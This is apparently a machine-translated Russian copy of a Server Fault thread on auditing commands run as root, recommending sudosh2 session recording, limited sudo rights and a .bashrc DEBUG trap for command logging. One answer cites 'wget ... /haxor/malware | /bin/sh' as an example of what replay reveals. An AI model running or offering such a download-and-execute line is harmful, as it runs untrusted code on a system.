Зарегистрируйте каждую команду, выполняемую от корня

01 * * * * выполнит каждую первую минуту каждого часа. Используйте * * * * * для выполнения его каждую минуту.

16
задан 11 April 2012 в 01:24
3 ответа

Доверяй, но проверяй!

Отъезд sudosh2 . sudosh2 предоставляется портами FreeBSD. Пакеты доступны для RedHat и Ubuntu. Вот описание с их веб-сайта:

Sudosh - это фильтр оболочки аудита, который может использоваться как оболочка входа в систему. Судош записывает все нажатия клавиш и вывод и может воспроизводить сеанс как и видеомагнитофон.

Sudosh позволит вам воспроизвести сеанс пользователя, что позволит вам видеть все входные и выходные данные такими, какими их видел пользователь. Вы видите все, нажатия клавиш, опечатки, пробелы, что они редактировали в vi , вывод wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | / bin / sh и т. д.

Можно отправлять журналы судоша в системный журнал, чтобы их можно было хранить на центральном сервере системного журнала вдали от системы.

Обратите внимание, что судош2 заменяет судош, который был оставлен его автором

Вы работаете в академическом учреждении, где пользователи настаивают на правах суперпользователя? Или вы работаете в корпорации и хотите разрешить пользователям иметь права суперпользователя на их собственных виртуальных машинах? Это может быть решением для вас.

21
ответ дан 2 December 2019 в 20:34

Не давайте ему root-доступ. Вместо этого предоставьте ему учетную запись непривилегированного пользователя и попросите его выполнять всю свою работу через sudo , который будет регистрировать все его команды.

Имейте в виду, что если у этого человека есть дурные намерения и вы дадите ему полные привилегии sudo, он найдет способ выполнять эти дурные намерения без того, чтобы эти команды были зарегистрирован. В этом случае предоставьте ему доступ только к определенным командам, необходимым для выполнения его работы.

22
ответ дан 2 December 2019 в 20:34

Я не знаком с sudosh2, но я поместил следующее в свой .bashrc , чтобы регистрировать все команды, которые я набираю в оболочке bash в файл ~ / .command_log :

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Вышеупомянутое устанавливает ловушку для DEBUG , которая выполняется непосредственно перед выполнением обычной команды. Встроенный вызывающий объект используется для проверки того, набирается ли команда в интерактивной оболочке или запускается через что-то вроде .bashrc . Значение $ {BASH_COMMAND} содержит команду, которая выполняется в данный момент.

1
ответ дан 2 December 2019 в 20:34

Теги

Похожие вопросы